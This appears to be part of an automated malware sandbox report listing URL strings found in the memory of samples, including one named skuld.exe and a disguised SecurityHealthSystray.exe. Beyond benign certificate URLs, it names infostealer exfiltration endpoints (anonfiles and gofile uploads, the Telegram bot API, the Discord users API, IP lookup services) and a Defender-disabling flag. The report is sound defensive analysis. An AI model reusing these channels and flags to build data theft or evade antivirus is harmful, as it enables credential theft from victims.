Source: program.exe, 00000008.00000002.1939870839.00000237A4D8E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1593036472.00000237A4D8E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936998736.00000237A4D8B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1749300110.00000237A4D8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: powershell.exe, 00000014.00000002.1850687248.000002399BA9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522617049.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000002.1959967086.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000002.1959967086.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: program.exe, 00000008.00000002.1938769127.00000237A46E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: program.exe, 00000008.00000002.1939236456.00000237A4AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: program.exe, 00000008.00000002.1939236456.00000237A4AE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: program.exe, 00000008.00000002.1939236456.00000237A4AE0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1939236456.00000237A4D18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: http://ip-api.com/json
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: program.exe, 00000008.00000003.1548458152.00000237A47EC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1543639297.00000237A47C5000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1549428382.00000237A4819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr~
Source: program.exe, 00000008.00000003.1548458152.00000237A47EC000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1543639297.00000237A47C5000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1549428382.00000237A4819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr~r
Source: powershell.exe, 00000014.00000002.1825728289.0000023993632000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1693664914.000001F88196B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1831279300.000001F8901BD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1831279300.000001F89007B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000002.1959967086.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522617049.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522617049.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000002.1959967086.00000139887C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000033.00000002.1693664914.000001F881910000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524726807.00000139887ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524726807.00000139887ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 00000014.00000002.1689641102.00000239837E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: eternal.exe, 00000002.00000002.3208274696.0000000002E81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.1689641102.00000239835C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1693664914.000001F880001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000014.00000002.1689641102.00000239837E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: program.exe, 00000008.00000002.1941153188.00000237A51F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524726807.00000139887ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524726807.00000139887ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524726807.00000139887ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: powershell.exe, 00000033.00000002.1693664914.000001F881653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000033.00000002.1693664914.000001F881910000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: program.exe, 00000005.00000003.1522617049.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525014783.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518928868.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1523219477.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1522795628.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000002.1959967086.00000139887ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518152976.00000139887DF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519577277.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1521981805.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518342111.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1525292752.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524879211.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519976627.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519169307.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519414521.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1519755657.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1518687948.00000139887E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: program.exe, 00000008.00000002.1939236456.00000237A4C7B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: program.exe, 00000008.00000002.1947748964.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1747910715.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A536C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1715550482.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1663641819.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936233267.00000237A5906000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1638117750.00000237A5906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: program.exe, 00000008.00000003.1715550482.00000237A5914000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1638117750.00000237A5916000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000002.1941288303.00000237A53F8000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000008.00000003.1936233267.00000237A5914000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000008.00000003.1743204693.00000237A5914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 00000014.00000002.1689641102.00000239835C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.1693664914.000001F880001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://api.gofile.io/getServerhttps://%s.gofile.io/uploadFilesql:
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://api.ipify.org/-DisableIOAVProtection-DisableScriptScanning%s
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: program.exe, 00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/botP
Source: skuld.exe, 00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp, SecurityHealthSystray.exe, 00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp, SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://avatars.githubusercontent.com/u/145487845?v=4sqlite:
Source: program.exe, 00000008.00000002.1941288303.00000237A53AC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: program.exe, 00000008.00000003.1743204693.00000237A58BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000033.00000002.1831279300.000001F89007B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000033.00000002.1831279300.000001F89007B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000033.00000002.1831279300.000001F89007B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524726807.00000139887ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524726807.00000139887ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: program.exe, 00000005.00000003.1524454201.00000139887E0000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000005.00000003.1524726807.00000139887ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0.
Source: SecurityHealthSystray.exe, 0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
